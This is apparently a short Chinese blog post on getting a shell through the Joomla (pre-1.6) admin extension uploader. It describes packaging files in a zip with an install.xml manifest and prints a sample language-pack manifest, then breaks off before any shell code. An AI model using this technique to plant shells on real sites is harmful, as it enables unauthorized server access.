Joomla 1.6之前版本后台拿shell的一种方法

在后台Extensions–>install–>Upload Package File的地方可以上传zip的压缩包,然后根据压缩包中install.xml对包中的文件进行解压缩安装 install.xml: <?xml version=”1.0″ encoding=”utf-8″?> <install type=”language” version=”1.6″ client=”administrator” method=”upgrade”> <name>简体中文</name> <tag>zh-CN</tag> <version>1.6.1</version> <creationDate>2011-03-08</creationDate> <author>Derek Joe(zhous)</author> <authorEmail>[email protected]</authorEmail> <authorurl>www.joomla.cn</authorurl> <copyright>Copyright (C) 2010 CHN Joomla Translation (http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <description> </description> <files> <filename>index.html</filename> <filename>zh-CN.com_admin.ini</filename> <filename>zh-CN.com_admin.sys.ini</filename> <filename>zh-CN.com_banners.ini</filename> <filename>zh-CN.com_banners.sys.ini</filename> <filename>zh-CN.com_cache.ini</filename> <filename>zh-CN.com_cache.sys.ini</filename> <filename>zh-CN.com_categories.ini</filename> <filename>zh-CN.com_categories.sys.ini</filename> <filename>zh-CN.com_checkin.ini</filename> <filename>zh-CN.com_checkin.sys.ini</filename> <filename>zh-CN.com_config.ini</filename> […]